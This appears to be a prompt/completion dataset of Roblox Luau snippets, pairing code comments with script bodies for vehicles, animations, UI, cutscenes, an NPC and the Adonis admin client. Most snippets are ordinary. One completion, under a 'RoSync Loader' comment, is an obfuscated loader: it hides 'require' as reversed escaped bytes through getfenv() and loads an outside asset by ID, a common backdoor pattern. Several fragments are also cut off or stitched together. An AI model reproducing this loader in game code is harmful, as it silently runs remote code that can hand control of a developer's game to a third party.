prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ Last synced 4/6/2021 12:00 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
---Creator function return object keys
local KEY_BASE_FRAME = "BaseFrame" local KEY_BASE_MESSAGE = "BaseMessage" local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction" local KEY_GET_HEIGHT = "GetHeightFunction" local KEY_FADE_IN = "FadeInFunction" local KEY_FADE_OUT = "FadeOutFunction" local KEY_UPDATE_ANIMATION = "UpdateAnimFunction" local TextService = game:GetService("TextService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:Wait() LocalPlayer = Players.LocalPlayer end local clientChatModules = script.Parent.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local okShouldClipInGameChat, valueShouldClipInGameChat = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldClipInGameChat") end) local shouldClipInGameChat = okShouldClipInGameChat and valueShouldClipInGameChat local module = {} local methods = {} methods.__index = methods function methods:GetStringTextBounds(text, font, textSize, sizeBounds) sizeBounds = sizeBounds or Vector2.new(10000, 10000) return TextService:GetTextSize(text, textSize, font, sizeBounds) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 900 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 7000 Tune.PeakSharpness = 2.9 Tune.CurveMult = 0.09 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 450 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 200 -- Clutch engagement threshold (higher = faster response)
--[=[ Constructs a new BasicPane with the .Gui property set. @param gui GuiBase? -- Optional Gui object @return BasicPane ]=]
function BasicPane.new(gui) local self = setmetatable({}, BasicPane) self._maid = Maid.new() self.Maid = self._maid self._visible = false self.VisibleChanged = Signal.new() -- :Fire(isVisible, doNotAnimate, maid) self._maid:GiveTask(self.VisibleChanged) if gui then self._gui = gui self.Gui = gui self._maid:GiveTask(gui) end return self end
--[[---------------- CLIENT -----------------]]
-- local ply = game.Players:GetPlayerFromCharacter(script.Parent.Parent) local char = ply.Character or ply.CharacterAdded:wait() local hum = char.Humanoid local hrp = char.HumanoidRootPart local plyGui = ply.PlayerGui
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("startup") -- The folder that contains the cutscene data (Cameras...) local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around! local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once. local Cutscene = require(CutsceneModule) local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch") local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin") local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded") local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied") local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire") local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire") local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying") local CharacterProtector = script:FindFirstChild("CharacterProtector") local Music = script:FindFirstChild("Music") local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished") local StopOnEventFire = script:FindFirstChild("StopOnEventFire") local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire") local PlayOnce = script:FindFirstChild("PlayOnce") local Debounce = script:FindFirstChild("Cooldown") local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove") local bin = true local Player = game:GetService("Players").LocalPlayer local CutsceneGui = script:FindFirstChild("Cutscene")
-- When you're done make sure to uncheck the 'Disabled' behaviour on this script under Properties!
-- goro7
local plr = game.Players.LocalPlayer game.ReplicatedStorage.Interactions.Client.ShowWelcomeScreen.OnClientEvent:connect(function() -- Show the welcome screen (if not visible) if not plr.PlayerGui.MainGui.Welcome.Visible then plr.PlayerGui.MainGui.Welcome.Show:Fire() end end)
--// Variables
local L_1_ = script.Parent local L_2_ = game.Players.LocalPlayer local L_3_ = L_2_.Character local L_4_ = L_2_:GetMouse() local L_5_ = workspace.CurrentCamera local L_6_ = L_3_:WaitForChild('Torso') local L_7_ = L_3_:WaitForChild('Head') local L_8_ = L_3_:WaitForChild('HumanoidRootPart') local L_9_ = L_8_:WaitForChild('RootJoint') local L_10_ = L_6_:WaitForChild('Right Hip') local L_11_ = L_6_:WaitForChild('Left Hip')
--//Services//--
local Players = game:GetService("Players") local Lighting = game:GetService("Lighting") local TweenService = game:GetService("TweenService") local BadgeService = game:GetService("BadgeService") local Debris = game:GetService("Debris")
-- Close:Play()
script.Parent.Handle.sound_close:Play() script.Parent.EffectsHolder.AttachOff.Flick.Enabled = true script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = true script.Parent.EffectsHolder.AttachOff.Flick.Enabled = false script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = false script.Parent.EffectsHolder.AttachOn.MainLight.Enabled = false script.Parent.EffectsHolder.AttachOn.SmallLight.Enabled = false script.Parent.EffectsHolder.AttachOn.SmallLight2.Enabled = false script.Parent.EffectsHolder.AttachOn.SmallLight3.Enabled = false script.Parent.EffectsHolder.AttachOn.FireParticles.Enabled = false
---New Variables
local V01 = 0 local V02 = 0 local m1 = car.Misc.Hinges.Hinge:WaitForChild("ENGINE") local m2 = car.Misc.ActualCam.Hinge:WaitForChild("ENGINE") local Sus = car.Wheels.RR.SuspensionGeometry:WaitForChild("Spring") local Sus2 = car.Wheels.RL.SuspensionGeometry:WaitForChild("Spring") local Sus3 = car.Wheels.FR.SuspensionGeometry:WaitForChild("Spring") local Sus4 = car.Wheels.FL.SuspensionGeometry:WaitForChild("Spring")
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then --print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight --print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight --print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end
--// Processing
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = service local client = client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Process.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Process.RunLast = nil; end local function RunAfterLoaded(data) --// Events --service.NetworkClient.ChildRemoved:Connect(function() wait(30) client.Anti.Detected("crash", "Network client disconnected") end) --service.NetworkClient.ChildAdded:Connect(function() client.Anti.Detected("crash", "Network client reconnected?") end) service.Player.Chatted:Connect(service.EventTask("Event: ProcessChat", Process.Chat)) service.Player.CharacterRemoving:Connect(service.EventTask("Event: CharacterRemoving", Process.CharacterRemoving)) service.Player.CharacterAdded:Connect(service.Threads.NewEventTask("Event: CharacterAdded", Process.CharacterAdded)) service.LogService.MessageOut:Connect(Process.LogService) --service.Threads.NewEventTask("EVENT:MessageOut",client.Process.LogService,60)) service.ScriptContext.Error:Connect(Process.ErrorMessage) --service.Threads.NewEventTask("EVENT:ErrorMessage",client.Process.ErrorMessage,60)) --// Get RateLimits Process.RateLimits = Remote.Get("RateLimits") or Process.RateLimits; Process.RunAfterLoaded = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Process = { Init = Init; RunLast = RunLast; RunAfterLoaded = RunAfterLoaded; RateLimits = { --// Defaults; Will be updated with server data at client run Remote = 0.02; Command = 0.1; Chat = 0.1; RateLog = 10; }; Remote = function(data,com,...) local args = {...} Remote.Received = Remote.Received+1 if type(com) == "string" then if com == client.DepsName.."GIVE_KEY" then if not Core.Key then log("~! Set remote key") Core.Key = args[1] log("~! Call Finish_Loading()") client.Finish_Loading() end elseif Remote.UnEncrypted[com] then return {Remote.UnEncrypted[com](...)} elseif Core.Key then local comString = Remote.Decrypt(com,Core.Key) local command = (data.Mode == "Get" and Remote.Returnables[comString]) or Remote.Commands[comString] if command then --local ran,err = pcall(command, args) --task service.Threads.RunTask("REMOTE:"..comString,command,args) local rets = {service.TrackTask("Remote: ".. comString, command, args)} if not rets[1] then logError(rets[2]) else return {unpack(rets, 2)}; end end end end end; LogService = function(Message, Type) --service.FireEvent("Output", Message, Type) end; ErrorMessage = function(Message, Trace, Script) --service.FireEvent("ErrorMessage", Message, Trace, Script) if Message and Message ~= "nil" and Message ~= "" and (string.find(Message,":: Adonis ::") or string.find(Message,script.Name) or Script == script) then logError(tostring(Message).." - "..tostring(Trace)) end --if (Script == nil or (not Trace or Trace == "")) and not (Trace and string.find(Trace,"CoreGui.RobloxGui")) then --Anti.Detected("log","Scriptless/Traceless error found. Script: "..tostring(Script).." - Trace: "..tostring(Trace)) --end end; Chat = function(msg) --service.FireEvent("Chat",msg) if not service.Player or service.Player.Parent ~= service.Players then Remote.Fire("ProcessChat",msg) end end; CharacterAdded = function(...) service.Events.CharacterAdded:Fire(...) wait(); UI.GetHolder() end; CharacterRemoving = function() if Variables.UIKeepAlive then for ind,g in next,client.GUIs do if g.Class == "ScreenGui" or g.Class == "GuiMain" or g.Class == "TextLabel" then if not (g.Object:IsA("ScreenGui") and not g.Object.ResetOnSpawn) and g.CanKeepAlive then g.KeepAlive = true g.KeepParent = g.Object.Parent g.Object.Parent = nil elseif not g.CanKeepAlive then pcall(g.Destroy, g) end end end end if Variables.GuiViewFolder then Variables.GuiViewFolder:Destroy() Variables.GuiViewFolder = nil end if Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if Variables.PlayerListEnabled then service.StarterGui:SetCoreGuiEnabled('PlayerList',true) end local textbox = service.UserInputService:GetFocusedTextBox() if textbox then textbox:ReleaseFocus() end service.Events.CharacterRemoving:Fire() end } end
--this script makes the WindMill thingy spin.
spinning = script.Parent while true do spinning.CFrame = spinning.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(0),0.005)--0.005 is recommended (Higher makes it faster),(Lower is slower) wait(0.00) end
--[[ Touch Events ]]
-- UserInputService.Changed:connect(function(property) if property == 'ModalEnabled' then IsModalEnabled = UserInputService.ModalEnabled if lastInputType == Enum.UserInputType.Touch then if ControlState.Current == ControlModules.Touch and IsModalEnabled then ControlState:SwitchTo(nil) elseif ControlState.Current == nil and not IsModalEnabled then ControlState:SwitchTo(ControlModules.Touch) end end end end) if FFlagUserNoCameraClickToMove then BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged() end if BindableEvent_OnFailStateChanged then BindableEvent_OnFailStateChanged.Event:connect(function(isOn) if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then if isOn then ControlState:SwitchTo(ClickToMoveTouchControls) else ControlState:SwitchTo(nil) end end end) end local switchToInputType = function(newLastInputType) lastInputType = newLastInputType if VRService.VREnabled then ControlState:SwitchTo(ControlModules.VRNavigation) return end if lastInputType == Enum.UserInputType.Touch then ControlState:SwitchTo(ControlModules.Touch) elseif lastInputType == Enum.UserInputType.Keyboard or lastInputType == Enum.UserInputType.MouseButton1 or lastInputType == Enum.UserInputType.MouseButton2 or lastInputType == Enum.UserInputType.MouseButton3 or lastInputType == Enum.UserInputType.MouseWheel or lastInputType == Enum.UserInputType.MouseMovement then ControlState:SwitchTo(ControlModules.Keyboard) elseif lastInputType == Enum.UserInputType.Gamepad1 or lastInputType == Enum.UserInputType.Gamepad2 or lastInputType == Enum.UserInputType.Gamepad3 or lastInputType == Enum.UserInputType.Gamepad4 then ControlState:SwitchTo(ControlModules.Gamepad) end end if IsTouchDevice then createTouchGuiContainer() end MasterControl:Init() UserInputService.GamepadDisconnected:connect(function(gamepadEnum) local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then return end if not VRService.VREnabled then if UserInputService.KeyboardEnabled then ControlState:SwitchTo(ControlModules.Keyboard) elseif IsTouchDevice then ControlState:SwitchTo(ControlModules.Touch) end end end) UserInputService.GamepadConnected:connect(function(gamepadEnum) if not VRService.VREnabled then ControlState:SwitchTo(ControlModules.Gamepad) end end) switchToInputType(UserInputService:GetLastInputType()) UserInputService.LastInputTypeChanged:connect(switchToInputType) VRService.Changed:connect(function(prop) if prop ~= "VREnabled" then return end if VRService.VREnabled then ControlState:SwitchTo(ControlModules.VRNavigation) end end)
-- ROBLOX FIXME: add type constraint <EachCallback extends TestCallback>
export type EachTestFn<EachCallback> = (...any) -> ReturnType<EachCallback>
--[=[ Reverses the list and returns the reversed copy @param orig table -- Original table @return table ]=]
function Table.reverse(orig) local new = {} for i=#orig, 1, -1 do table.insert(new, orig[i]) end return new end
-- Gradually regenerates the Humanoid's Health over time.
local Character = script.Parent local Humanoid = Character:WaitForChild'Humanoid' Humanoid.MaxHealth = 130 local val = 130 local REGEN_RATE = .3/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = .25 -- Wait this long between each regeneration step.
-- Use the script's attributes as the default settings. -- The table provided is a fallback if the attributes -- are undefined or using the wrong value types.
local DEFAULT_SETTINGS = Settings.new(script, { WindDirection = Vector3.new(0.5, 0, 0.5); WindSpeed = 20; WindPower = 0.5; })
--local HUB = script.Parent.HUB --local limitButton = HUB.Limiter
local carSeat = script.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() mouse.KeyDown:connect(function (key) key = string.lower(key)
--------RIGHT DOOR --------
game.Workspace.doorright.l13.BrickColor = BrickColor.new(106) game.Workspace.doorright.l23.BrickColor = BrickColor.new(106) game.Workspace.doorright.l33.BrickColor = BrickColor.new(106) game.Workspace.doorright.l43.BrickColor = BrickColor.new(106) game.Workspace.doorright.l53.BrickColor = BrickColor.new(106) game.Workspace.doorright.l63.BrickColor = BrickColor.new(106) game.Workspace.doorright.l73.BrickColor = BrickColor.new(1003)
-- end -- end --end
function brakes() if Values.Brake.Value > 0.01 then LightEvent:FireServer("BrakeLights", Rear_Light_Type, Brake_Light_Brightness, 0.02, Trunk_Lights) else LightEvent:FireServer("BrakeLights", Rear_Light_Type, 0, 1, Trunk_Lights) end end function reverse() if Values.Gear.Value == -1 then LightEvent:FireServer("Reverse", Reverse_Light_Type, Reverse_Light_Brightness, 0.02, Trunk_Lights) else LightEvent:FireServer("Reverse", Reverse_Light_Type, 0, 1, Trunk_Lights) end end function leavedriveseat() LightEvent:FireServer("IndsOnLeave", LI.Value, RI.Value, H.Value, Sequential_Indicators, Sequential_Segments, Indicator_Flash_Rate, Indicator_Type) end
--- Window handles the command bar GUI
local Window = { Valid = true, AutoComplete = nil, ProcessEntry = nil, OnTextChanged = nil, Cmdr = nil, HistoryState = nil, } local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Frame") local Line = Gui:WaitForChild("Line") local Entry = Gui:WaitForChild("Entry") Line.Parent = nil
-- More to come soon....
--< Player Resetting >--
Player.CharacterAdded:Connect(function(Char) Humanoid = Char:FindFirstChildWhichIsA("Humanoid") or Char:WaitForChild("Humanoid") end)
--[[ Initialization/Setup ]]
-- local function createTouchGuiContainer() if TouchGui then TouchGui:Destroy() end -- Container for all touch device guis TouchGui = Instance.new('ScreenGui') TouchGui.Name = "TouchGui" TouchGui.ResetOnSpawn = false TouchGui.Parent = PlayerGui TouchControlFrame = Instance.new('Frame') TouchControlFrame.Name = "TouchControlFrame" TouchControlFrame.Size = UDim2.new(1, 0, 1, 0) TouchControlFrame.BackgroundTransparency = 1 TouchControlFrame.Parent = TouchGui ThumbstickModule:Create(TouchControlFrame) DPadModule:Create(TouchControlFrame) ThumbpadModule:Create(TouchControlFrame) TouchJumpModule:Create(TouchControlFrame) DynamicThumbstickModule:Create(TouchControlFrame) end
--local Slash = hammer:WaitForChild("Slash") -- Insert an animation in the tool
local db = false -- This is a cooldown!
--print("player and not building")
target = nearestPlayer targetType = nearestPlayer.ClassName lastLock = tick() elseif nearestBuilding and not nearestPlayer then
--- SERVICES/DIRECTORIES ---
Players = game:GetService("Players") ServerScriptService = game:GetService("ServerScriptService") ServerStorage = game:GetService("ServerStorage") ReplicatedStorage = game:GetService("ReplicatedStorage") TweenService = game:GetService("TweenService")
--Function For Making New Ray Bricks
function makeRay(cframe, size) local p = Instance.new("Part") p.Name = "RayPart" p.BrickColor = BrickColor.new("Bright green") p.Transparency = 0.5 p.Anchored = true p.CanCollide = false p.TopSurface = Enum.SurfaceType.Smooth p.BottomSurface = Enum.SurfaceType.Smooth p.formFactor = Enum.FormFactor.Custom p.CFrame = cframe p.Size = size p.Parent = m ignoreList[#ignoreList+1] = p end round = Instance.new("Part") round.Name = "RayPart" round.Transparency = 0.5 round.Anchored = true round.CanCollide = false round.TopSurface = Enum.SurfaceType.Smooth round.BottomSurface = Enum.SurfaceType.Smooth round.formFactor = Enum.FormFactor.Custom round.BrickColor = BrickColor.new("Black") yOffset = -0.2
-- Made by the owner of Kiwami Development
repeat wait() until char ~= nil while wait() do local health = char.Health local f = health/100 script.Parent.HP.Value = health script.Parent.HealthBar:TweenSize(UDim2.new(f,0,0.654,0),"Out","Quint",0.25) script.Parent.TextLabel.Text = "+ "..script.Parent.HP.Value script.Parent.PlayerLabel.Text = plr.DisplayName if health <= 5 then script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(94, 0, 0) script.Parent.TextLabel.TextColor3 = Color3.fromRGB(94, 0, 0) script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(94, 0, 0) script.Parent.HP.Value = "5" elseif health <= 20 then script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 0, 0) script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0) script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 0, 0) script.Parent.HP.Value = "20" elseif health <= 50 then script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 85, 0) script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 85, 0) script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 85, 0) script.Parent.HP.Value = "50" elseif health <= 75 then script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 183, 0) script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 183, 0) script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 183, 0) script.Parent.HP.Value = "75" elseif health > 75 then script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 255) script.Parent.TextLabel.TextColor3 = Color3.fromRGB(0, 200, 255) script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(0, 200, 255) script.Parent.HP.Value = "75" end if health == 0 then script.Parent.HP.Value = "0" end end function HealthChanged(health) end char.HealthChanged:connect(HealthChanged) if error then script:reload() end
-- ROBLOX FIXME Luau: should infer this function a Plugin | nil, with no warnings
local function findPlugin(plugins: Plugins, val: any): Plugin | nil for _, p in ipairs(plugins) do local ok, ret = pcall(p.test, val) if not ok then error(PrettyFormatPluginError(ret)) elseif ret then return p end end return nil end function printer( val: any, config: Config, indentation: string, depth: number, refs: Refs, hasCalledToJSON: boolean? ): string local plugin_ = findPlugin(config.plugins, val) if plugin_ ~= nil then return printPlugin(plugin_, val, config, indentation, depth, refs) end local basicResult = printBasicValue(val, config.printFunctionName, config.escapeRegex, config.escapeString) if basicResult ~= nil then return basicResult end return printComplexValue(val, config, indentation, depth, refs, hasCalledToJSON) end
-- Requires
local PartUtility = require(ReplicatedStorage.Common.PartUtility) local APICombat = require(ReplicatedStorage.Common.APICombat) local DamageInfo = require(ReplicatedStorage.Common.APICombat.DamageInfo) local WeaponDefinitionLoader = require(ReplicatedStorage.Common.WeaponDefintionLoader)
-----------------------------------------------------------------------------------------------
script.Parent:WaitForChild("Gear") script.Parent:WaitForChild("Speed") script.Parent:WaitForChild("Needle") script.Parent:WaitForChild("Brake") local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Parent.Car.Value car.DriveSeat.HeadsUpDisplay = false local _Tune = require(car["A-Chassis Tune"]) local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 0 local revEnd = math.ceil(_lRPM/1000) script.Parent.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) end) local function nextUnity () if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude) script.Parent.Unit.Text = UNITS[currentUnits].units end script.Parent.Speed.MouseButton1Click:connect(function() nextUnity() end) nextUnity() script.Parent.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.Brake.Visible = script.Parent.Parent.Parent.Values.PBrake.Value end) wait(.1)
-- Knit modifies roblox-lua-promise to add PascalCase API
Promise.Defer = Promise.defer Promise.Async = Promise.defer Promise.Resolve = Promise.resolve Promise.Reject = Promise.reject Promise.Try = Promise.try Promise.All = Promise.all Promise.Some = Promise.some Promise.Any = Promise.any Promise.AllSettled = Promise.allSettled Promise.Race = Promise.race Promise.Each = Promise.each Promise.Is = Promise.is Promise.Promisify = Promise.promisify Promise.Delay = Promise.delay Promise.prototype.Timeout = Promise.prototype.timeout Promise.prototype.GetStatus = Promise.prototype.getStatus Promise.prototype.AndThen = Promise.prototype.andThen Promise.prototype.Then = Promise.prototype.andThen Promise.prototype.Catch = Promise.prototype.catch Promise.prototype.Tap = Promise.prototype.tap Promise.prototype.AndThenCall = Promise.prototype.andThenCall Promise.prototype.ThenCall = Promise.prototype.andThenCall Promise.prototype.AndThenReturn = Promise.prototype.andThenReturn Promise.prototype.ThenReturn = Promise.prototype.andThenReturn Promise.prototype.Cancel = Promise.prototype.cancel Promise.prototype.Finally = Promise.prototype.finally Promise.prototype.FinallyCall = Promise.prototype.finallyCall Promise.prototype.FinallyReturn = Promise.prototype.finallyReturn Promise.prototype.Done = Promise.prototype.done Promise.prototype.DoneCall = Promise.prototype.doneCall Promise.prototype.DoneReturn = Promise.prototype.doneReturn Promise.prototype.AwaitStatus = Promise.prototype.awaitStatus Promise.prototype.Await = Promise.prototype.await Promise.prototype.Expect = Promise.prototype.expect Promise.prototype.AwaitValue = Promise.prototype.expect Promise.prototype.Now = Promise.prototype.now Promise.Retry = Promise.retry Promise.FromEvent = Promise.fromEvent return Promise
--game.Players.LocalPlayer:LoadCharacter()
script:Destroy()
--]]
function getHumanoid(model) for _, v in pairs(model:GetChildren()) do if v:IsA'Humanoid' then return v end end end local zombie = script.Parent local human = getHumanoid(zombie) local hroot = zombie.HumanoidRootPart local zspeed = hroot.Velocity.magnitude local pfs = game:GetService("PathfindingService") function GetPlayerNames() local players = game:GetService('Players'):GetChildren() local name = nil for _, v in pairs(players) do if v:IsA'Player' then name = tostring(v.Name) end end return name end function GetPlayersBodyParts(t) local torso = t if torso then local figure = torso.Parent for _, v in pairs(figure:GetChildren()) do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end function GetTorso(part) local chars = game.Workspace:GetChildren() local torso = nil for _, v in pairs(chars) do if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then local charRoot = v:FindFirstChild'HumanoidRootPart' if (charRoot.Position - part).magnitude < SearchDistance then torso = charRoot end end end return torso end for _, zambieparts in pairs(zombie:GetChildren()) do if zambieparts:IsA'Part' then zambieparts.Touched:connect(function(p) if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage local enemy = p.Parent local enemyhuman = getHumanoid(enemy) enemyhuman:TakeDamage(ZombieDamage) end end) end end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--Reset--
script.Parent.Configuration.Reset.Changed:connect(function() if script.Parent.Configuration.Reset.Value == true then --ResetScript Starts
--// All global vars will be wiped/replaced except script
